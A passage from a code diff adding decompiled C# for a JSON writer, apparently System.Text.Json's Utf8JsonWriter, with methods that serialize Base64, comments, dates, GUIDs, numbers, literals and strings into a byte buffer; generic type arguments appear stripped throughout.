span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WritePropertyName(uint value) + { + WritePropertyName((ulong)value); + } + + internal void WritePropertyName(ulong value) + { + Span destination = stackalloc byte[20]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WritePropertyNameUnescaped(destination.Slice(0, bytesWritten)); + } + + public void WriteBase64StringValue(ReadOnlySpan bytes) + { + WriteBase64ByOptions(bytes); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteBase64ByOptions(ReadOnlySpan bytes) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteBase64Indented(bytes); + } + else + { + WriteBase64Minimized(bytes); + } + } + + private void WriteBase64Minimized(ReadOnlySpan bytes) + { + if (bytes.Length > 1610612733) + { + ThrowHelper.ThrowArgumentException_ValueTooLarge(bytes.Length); + } + int maxEncodedToUtf8Length = Base64.GetMaxEncodedToUtf8Length(bytes.Length); + int num = maxEncodedToUtf8Length + 3; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + Base64EncodeAndWrite(bytes, span, maxEncodedToUtf8Length); + span[BytesPending++] = 34; + } + + private void WriteBase64Indented(ReadOnlySpan bytes) + { + int indentation = Indentation; + int num = indentation + 3 + s_newLineLength; + int num2 = 1610612733 - num; + if (bytes.Length > num2) + { + ThrowHelper.ThrowArgumentException_ValueTooLarge(bytes.Length); + } + int maxEncodedToUtf8Length = Base64.GetMaxEncodedToUtf8Length(bytes.Length); + int num3 = maxEncodedToUtf8Length + num; + if (_memory.Length - BytesPending < num3) + { + Grow(num3); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 34; + Base64EncodeAndWrite(bytes, span, maxEncodedToUtf8Length); + span[BytesPending++] = 34; + } + + public void WriteCommentValue(string value) + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + WriteCommentValue(value.AsSpan()); + } + + public void WriteCommentValue(ReadOnlySpan value) + { + JsonWriterHelper.ValidateValue(value); + if (value.IndexOf(s_singleLineCommentDelimiter) != -1) + { + ThrowHelper.ThrowArgumentException_InvalidCommentValue(); + } + WriteCommentByOptions(value); + JsonTokenType tokenType = _tokenType; + if ((tokenType == JsonTokenType.None || tokenType == JsonTokenType.PropertyName) ? true : false) + { + _commentAfterNoneOrPropertyName = true; + } + } + + private void WriteCommentByOptions(ReadOnlySpan value) + { + if (_options.Indented) + { + WriteCommentIndented(value); + } + else + { + WriteCommentMinimized(value); + } + } + + private void WriteCommentMinimized(ReadOnlySpan value) + { + int num = value.Length * 3 + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + span[BytesPending++] = 47; + span[BytesPending++] = 42; + int written; + OperationStatus operationStatus = JsonWriterHelper.ToUtf8(value, span.Slice(BytesPending), out written); + if (operationStatus == OperationStatus.InvalidData) + { + ThrowHelper.ThrowArgumentException_InvalidUTF16(value[written]); + } + BytesPending += written; + span[BytesPending++] = 42; + span[BytesPending++] = 47; + } + + private void WriteCommentIndented(ReadOnlySpan value) + { + int indentation = Indentation; + int num = indentation + value.Length * 3 + 4 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_tokenType != JsonTokenType.None || _commentAfterNoneOrPropertyName) + { + WriteNewLine(span); + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 47; + span[BytesPending++] = 42; + int written; + OperationStatus operationStatus = JsonWriterHelper.ToUtf8(value, span.Slice(BytesPending), out written); + if (operationStatus == OperationStatus.InvalidData) + { + ThrowHelper.ThrowArgumentException_InvalidUTF16(value[written]); + } + BytesPending += written; + span[BytesPending++] = 42; + span[BytesPending++] = 47; + } + + public void WriteCommentValue(ReadOnlySpan utf8Value) + { + JsonWriterHelper.ValidateValue(utf8Value); + if (utf8Value.IndexOf(SingleLineCommentDelimiterUtf8) != -1) + { + ThrowHelper.ThrowArgumentException_InvalidCommentValue(); + } + if (!JsonWriterHelper.IsValidUtf8String(utf8Value)) + { + ThrowHelper.ThrowArgumentException_InvalidUTF8(utf8Value); + } + WriteCommentByOptions(utf8Value); + JsonTokenType tokenType = _tokenType; + if ((tokenType == JsonTokenType.None || tokenType == JsonTokenType.PropertyName) ? true : false) + { + _commentAfterNoneOrPropertyName = true; + } + } + + private void WriteCommentByOptions(ReadOnlySpan utf8Value) + { + if (_options.Indented) + { + WriteCommentIndented(utf8Value); + } + else + { + WriteCommentMinimized(utf8Value); + } + } + + private void WriteCommentMinimized(ReadOnlySpan utf8Value) + { + int num = utf8Value.Length + 4; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + span[BytesPending++] = 47; + span[BytesPending++] = 42; + utf8Value.CopyTo(span.Slice(BytesPending)); + BytesPending += utf8Value.Length; + span[BytesPending++] = 42; + span[BytesPending++] = 47; + } + + private void WriteCommentIndented(ReadOnlySpan utf8Value) + { + int indentation = Indentation; + int num = indentation + utf8Value.Length + 4; + int num2 = num + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_tokenType != JsonTokenType.None || _commentAfterNoneOrPropertyName) + { + WriteNewLine(span); + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 47; + span[BytesPending++] = 42; + utf8Value.CopyTo(span.Slice(BytesPending)); + BytesPending += utf8Value.Length; + span[BytesPending++] = 42; + span[BytesPending++] = 47; + } + + public void WriteStringValue(DateTime value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteStringValueIndented(value); + } + else + { + WriteStringValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringValueMinimized(DateTime value) + { + int num = 36; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringValueIndented(DateTime value) + { + int indentation = Indentation; + int num = indentation + 33 + 3 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + public void WriteStringValue(DateTimeOffset value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteStringValueIndented(value); + } + else + { + WriteStringValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringValueMinimized(DateTimeOffset value) + { + int num = 36; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeOffsetTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringValueIndented(DateTimeOffset value) + { + int indentation = Indentation; + int num = indentation + 33 + 3 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeOffsetTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + public void WriteNumberValue(decimal value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteNumberValueIndented(value); + } + else + { + WriteNumberValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberValueMinimized(decimal value) + { + int num = 32; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberValueIndented(decimal value) + { + int indentation = Indentation; + int num = indentation + 31 + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WriteNumberValueAsString(decimal value) + { + Span destination = stackalloc byte[31]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WriteNumberValueAsStringUnescaped(destination.Slice(0, bytesWritten)); + } + + public void WriteNumberValue(double value) + { + JsonWriterHelper.ValidateDouble(value); + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteNumberValueIndented(value); + } + else + { + WriteNumberValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberValueMinimized(double value) + { + int num = 129; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + int bytesWritten; + bool flag = TryFormatDouble(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberValueIndented(double value) + { + int indentation = Indentation; + int num = indentation + 128 + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + int bytesWritten; + bool flag = TryFormatDouble(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private static bool TryFormatDouble(double value, Span destination, out int bytesWritten) + { + string text = value.ToString("G17", CultureInfo.InvariantCulture); + if (text.Length > destination.Length) + { + bytesWritten = 0; + return false; + } + try + { + byte[] bytes = Encoding.UTF8.GetBytes(text); + if (bytes.Length > destination.Length) + { + bytesWritten = 0; + return false; + } + bytes.CopyTo(destination); + bytesWritten = bytes.Length; + return true; + } + catch + { + bytesWritten = 0; + return false; + } + } + + internal void WriteNumberValueAsString(double value) + { + Span destination = stackalloc byte[128]; + int bytesWritten; + bool flag = TryFormatDouble(value, destination, out bytesWritten); + WriteNumberValueAsStringUnescaped(destination.Slice(0, bytesWritten)); + } + + internal void WriteFloatingPointConstant(double value) + { + if (double.IsNaN(value)) + { + WriteNumberValueAsStringUnescaped(JsonConstants.NaNValue); + } + else if (double.IsPositiveInfinity(value)) + { + WriteNumberValueAsStringUnescaped(JsonConstants.PositiveInfinityValue); + } + else if (double.IsNegativeInfinity(value)) + { + WriteNumberValueAsStringUnescaped(JsonConstants.NegativeInfinityValue); + } + else + { + WriteNumberValue(value); + } + } + + public void WriteNumberValue(float value) + { + JsonWriterHelper.ValidateSingle(value); + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteNumberValueIndented(value); + } + else + { + WriteNumberValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberValueMinimized(float value) + { + int num = 129; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + int bytesWritten; + bool flag = TryFormatSingle(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberValueIndented(float value) + { + int indentation = Indentation; + int num = indentation + 128 + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + int bytesWritten; + bool flag = TryFormatSingle(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private static bool TryFormatSingle(float value, Span destination, out int bytesWritten) + { + string text = value.ToString("G9", CultureInfo.InvariantCulture); + if (text.Length > destination.Length) + { + bytesWritten = 0; + return false; + } + try + { + byte[] bytes = Encoding.UTF8.GetBytes(text); + if (bytes.Length > destination.Length) + { + bytesWritten = 0; + return false; + } + bytes.CopyTo(destination); + bytesWritten = bytes.Length; + return true; + } + catch + { + bytesWritten = 0; + return false; + } + } + + internal void WriteNumberValueAsString(float value) + { + Span destination = stackalloc byte[128]; + int bytesWritten; + bool flag = TryFormatSingle(value, destination, out bytesWritten); + WriteNumberValueAsStringUnescaped(destination.Slice(0, bytesWritten)); + } + + internal void WriteFloatingPointConstant(float value) + { + if (float.IsNaN(value)) + { + WriteNumberValueAsStringUnescaped(JsonConstants.NaNValue); + } + else if (float.IsPositiveInfinity(value)) + { + WriteNumberValueAsStringUnescaped(JsonConstants.PositiveInfinityValue); + } + else if (float.IsNegativeInfinity(value)) + { + WriteNumberValueAsStringUnescaped(JsonConstants.NegativeInfinityValue); + } + else + { + WriteNumberValue(value); + } + } + + internal void WriteNumberValue(ReadOnlySpan utf8FormattedNumber) + { + JsonWriterHelper.ValidateValue(utf8FormattedNumber); + JsonWriterHelper.ValidateNumber(utf8FormattedNumber); + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteNumberValueIndented(utf8FormattedNumber); + } + else + { + WriteNumberValueMinimized(utf8FormattedNumber); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberValueMinimized(ReadOnlySpan utf8Value) + { + int num = utf8Value.Length + 1; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + utf8Value.CopyTo(span.Slice(BytesPending)); + BytesPending += utf8Value.Length; + } + + private void WriteNumberValueIndented(ReadOnlySpan utf8Value) + { + int indentation = Indentation; + int num = indentation + utf8Value.Length + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + utf8Value.CopyTo(span.Slice(BytesPending)); + BytesPending += utf8Value.Length; + } + + public void WriteStringValue(Guid value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteStringValueIndented(value); + } + else + { + WriteStringValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringValueMinimized(Guid value) + { + int num = 39; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringValueIndented(Guid value) + { + int indentation = Indentation; + int num = indentation + 36 + 3 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 34; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void ValidateWritingValue() + { + if (_inObject) + { + if (_tokenType != JsonTokenType.PropertyName) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.CannotWriteValueWithinObject, 0, _options.MaxDepth, 0, _tokenType); + } + } + else if (CurrentDepth == 0 && _tokenType != JsonTokenType.None) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.CannotWriteValueAfterPrimitiveOrClose, 0, _options.MaxDepth, 0, _tokenType); + } + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void Base64EncodeAndWrite(ReadOnlySpan bytes, Span output, int encodingLength) + { + byte[] array = null; + Span span = ((encodingLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(encodingLength))) : stackalloc byte[256]); + Span utf = span; + int bytesConsumed; + int bytesWritten; + OperationStatus operationStatus = Base64.EncodeToUtf8(bytes, utf, out bytesConsumed, out bytesWritten); + utf = utf.Slice(0, bytesWritten); + Span destination = output.Slice(BytesPending); + utf.Slice(0, bytesWritten).CopyTo(destination); + BytesPending += bytesWritten; + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + public void WriteNullValue() + { + WriteLiteralByOptions(JsonConstants.NullValue); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Null; + } + + public void WriteBooleanValue(bool value) + { + if (value) + { + WriteLiteralByOptions(JsonConstants.TrueValue); + _tokenType = JsonTokenType.True; + } + else + { + WriteLiteralByOptions(JsonConstants.FalseValue); + _tokenType = JsonTokenType.False; + } + SetFlagToAddListSeparatorBeforeNextItem(); + } + + private void WriteLiteralByOptions(ReadOnlySpan utf8Value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteLiteralIndented(utf8Value); + } + else + { + WriteLiteralMinimized(utf8Value); + } + } + + private void WriteLiteralMinimized(ReadOnlySpan utf8Value) + { + int num = utf8Value.Length + 1; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + utf8Value.CopyTo(span.Slice(BytesPending)); + BytesPending += utf8Value.Length; + } + + private void WriteLiteralIndented(ReadOnlySpan utf8Value) + { + int indentation = Indentation; + int num = indentation + utf8Value.Length + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + utf8Value.CopyTo(span.Slice(BytesPending)); + BytesPending += utf8Value.Length; + } + + public void WriteRawValue([StringSyntax("Json")] string json, bool skipInputValidation = false) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (json == null) + { + throw new ArgumentNullException("json"); + } + TranscodeAndWriteRawValue(json.AsSpan(), skipInputValidation); + } + + public void WriteRawValue([StringSyntax("Json")] ReadOnlySpan json, bool skipInputValidation = false) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + TranscodeAndWriteRawValue(json, skipInputValidation); + } + + public void WriteRawValue(ReadOnlySpan utf8Json, bool skipInputValidation = false) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (utf8Json.Length == int.MaxValue) + { + ThrowHelper.ThrowArgumentException_ValueTooLarge(2147483647L); + } + WriteRawValueCore(utf8Json, skipInputValidation); + } + + public void WriteRawValue(ReadOnlySequence utf8Json, bool skipInputValidation = false) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + long length = utf8Json.Length; + if (length == 0L) + { + ThrowHelper.ThrowArgumentException(System.SR.ExpectedJsonTokens); + } + if (length >= int.MaxValue) + { + ThrowHelper.ThrowArgumentException_ValueTooLarge(length); + } + if (skipInputValidation) + { + _tokenType = JsonTokenType.String; + } + else + { + Utf8JsonReader utf8JsonReader = new Utf8JsonReader(utf8Json); + while (utf8JsonReader.Read()) + { + } + _tokenType = utf8JsonReader.TokenType; + } + int num = (int)length; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + utf8Json.CopyTo(span.Slice(BytesPending)); + BytesPending += num; + SetFlagToAddListSeparatorBeforeNextItem(); + } + + private void TranscodeAndWriteRawValue(ReadOnlySpan json, bool skipInputValidation) + { + if (json.Length > 715827882) + { + ThrowHelper.ThrowArgumentException_ValueTooLarge(json.Length); + } + byte[] array = null; + Span span = (((long)json.Length > 349525L) ? new byte[JsonReaderHelper.GetUtf8ByteCount(json)] : (array = ArrayPool.Shared.Rent(json.Length * 3))); + try + { + span = span[..JsonReaderHelper.GetUtf8FromText(json, span)]; + WriteRawValueCore(span, skipInputValidation); + } + finally + { + if (array != null) + { + span.Clear(); + ArrayPool.Shared.Return(array); + } + } + } + + private void WriteRawValueCore(ReadOnlySpan utf8Json, bool skipInputValidation) + { + int length = utf8Json.Length; + if (length == 0) + { + ThrowHelper.ThrowArgumentException(System.SR.ExpectedJsonTokens); + } + if (skipInputValidation) + { + _tokenType = JsonTokenType.String; + } + else + { + Utf8JsonReader utf8JsonReader = new Utf8JsonReader(utf8Json); + while (utf8JsonReader.Read()) + { + } + _tokenType = utf8JsonReader.TokenType; + } + int num = length + 1; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + utf8Json.CopyTo(span.Slice(BytesPending)); + BytesPending += length; + SetFlagToAddListSeparatorBeforeNextItem(); + } + + public void WriteNumberValue(int value) + { + WriteNumberValue((long)value); + } + + public void WriteNumberValue(long value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteNumberValueIndented(value); + } + else + { + WriteNumberValueMinimized(value); + } + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.Number; + } + + private void WriteNumberValueMinimized(long value) + { + int num = 21; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + private void WriteNumberValueIndented(long value) + { + int indentation = Indentation; + int num = indentation + 20 + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, span.Slice(BytesPending), out bytesWritten); + BytesPending += bytesWritten; + } + + internal void WriteNumberValueAsString(long value) + { + Span destination = stackalloc byte[20]; + int bytesWritten; + bool flag = Utf8Formatter.TryFormat(value, destination, out bytesWritten); + WriteNumberValueAsStringUnescaped(destination.Slice(0, bytesWritten)); + } + + public void WriteStringValue(JsonEncodedText value) + { + ReadOnlySpan encodedUtf8Bytes = value.EncodedUtf8Bytes; + WriteStringByOptions(encodedUtf8Bytes); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteStringValue(string? value) + { + if (value == null) + { + WriteNullValue(); + } + else + { + WriteStringValue(value.AsSpan()); + } + } + + public void WriteStringValue(ReadOnlySpan value) + { + JsonWriterHelper.ValidateValue(value); + WriteStringEscape(value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringEscape(ReadOnlySpan value) + { + int num = JsonWriterHelper.NeedsEscaping(value, _options.Encoder); + if (num != -1) + { + WriteStringEscapeValue(value, num); + } + else + { + WriteStringByOptions(value); + } + } + + private void WriteStringByOptions(ReadOnlySpan value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteStringIndented(value); + } + else + { + WriteStringMinimized(value); + } + } + + private void WriteStringMinimized(ReadOnlySpan escapedValue) + { + int num = escapedValue.Length * 3 + 3; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedValue, span); + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedValue) + { + int indentation = Indentation; + int num = indentation + escapedValue.Length * 3 + 3 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedValue, span); + span[BytesPending++] = 34; + } + + private void WriteStringEscapeValue(ReadOnlySpan value, int firstEscapeIndexVal) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(value.Length, firstEscapeIndexVal); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(value, destination, firstEscapeIndexVal, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written)); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + public void WriteStringValue(ReadOnlySpan utf8Value) + { + JsonWriterHelper.ValidateValue(utf8Value); + WriteStringEscape(utf8Value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringEscape(ReadOnlySpan utf8Value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8Value, _options.Encoder); + if (num != -1) + { + WriteStringEscapeValue(utf8Value, num); + } + else + { + WriteStringByOptions(utf8Value); + } + } + + private void WriteStringByOptions(ReadOnlySpan utf8Value) + { + if (!_options.SkipValidation) + { + ValidateWritingValue(); + } + if (_options.Indented) + { + WriteStringIndented(utf8Value); + } + else + { + WriteStringMinimized(utf8Value); + } + } + + private void WriteStringMinimized(ReadOnlySpan escapedValue) + { + int num = escapedValue.Length + 2; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedValue.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedValue.Length; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedValue) + { + int indentation = Indentation; + int num = indentation + escapedValue.Length + 2; + int num2 = num + 1 + s_newLineLength; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.PropertyName) + { + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = 34; + escapedValue.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedValue.Length; + span[BytesPending++] = 34; + } + + private void WriteStringEscapeValue(ReadOnlySpan utf8Value, int firstEscapeIndexVal) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8Value.Length, firstEscapeIndexVal); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8Value, destination, firstEscapeIndexVal, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written)); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + internal void 